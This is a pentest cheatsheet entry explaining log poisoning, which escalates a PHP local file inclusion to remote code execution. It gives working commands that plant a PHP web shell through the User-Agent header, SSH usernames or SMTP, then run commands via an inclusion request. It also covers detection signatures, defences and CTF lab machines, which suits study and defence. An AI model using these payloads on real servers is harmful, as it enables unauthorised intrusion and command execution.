Log Poisoning (LFI to RCE)
Full command arsenal in the cheatsheetLog poisoning turns a read-only LFI (local file inclusion) into code execution. The idea is simple: if the app includes (not just shows) the file we point it at and that file contains PHP code, the interpreter runs it. Many system files take attacker-controllable content; logs are the classic case, because they record data from our own requests.
The typical flow against a web server (Apache/nginx) is:
- Check the LFI reaches the log: include
/var/log/nginx/access.log(orerror.log, or Apache's). If its content shows up, we're good. - Poison the log by sending a request with PHP code in a header that gets logged, almost always the
User-Agent:
curl 'http://<host>/index.php?page=<lfi>/var/log/nginx/access.log' \
-H "User-Agent: <?php system(\$_GET['cmd']); ?>"- Trigger execution by re-including the log via LFI: when parsed, the injected PHP runs and allows commands or a reverse shell.
Other equivalent poisoning vectors: the SSH log (/var/log/auth.log, putting PHP in the username of a failed login), the mail logs (/var/log/mail.log via SMTP), or PHP sessions (/var/lib/php/sessions/sess_<id>) if we control some session value.
# SSH: the failed-login username lands in auth.log
ssh '<?php system($_GET[c]); ?>'@<ip>
# SMTP: the body/fields land in mail.log
nc <ip> 25 # MAIL FROM/RCPT TO/DATA with <?php system($_GET[c]); ?>
# then include the log via LFI and add ?c=id
curl 'http://<ip>/index.php?page=/var/log/auth.log&c=id' --path-as-isCommon log paths to try: /var/log/apache2/access.log, /var/log/apache2/error.log, /var/log/nginx/access.log, /var/log/httpd/access_log, /var/log/vsftpd.log, /var/log/auth.log.
Requirements. The LFI must include and execute PHP (not a plain readfile/Content-Disposition), and the web process must be able to read the log. It connects directly to the LFI / path traversal that enables it.
How to detect it. The signature lives in the logs themselves: a User-Agent (or any logged header) containing <?php, system(, passthru( or $_GET is unnatural and a WAF/IDS flags it at once. In parallel, the access log shows requests to the inclusion parameter pointing at log paths (page=../../var/log/nginx/access.log) or at /var/lib/php/sessions/. Host-side confirmation is the web process (php-fpm, apache2) reading its own log file and then spawning sh/bash as a child (auditd/Sysmon for Linux over execve with the web process as ppid), which never happens in the normal flow.
Defence. Avoid including user-controlled paths (allowlists, not include $_GET), restrict log permissions, disable allow_url_include, and don't mix template inclusion with user input.
Machines where it's used
- BartHackTheBox
- LaVitaProving Grounds Practice
- Symfonos 1 & 2VulnHub
- TrickHackTheBox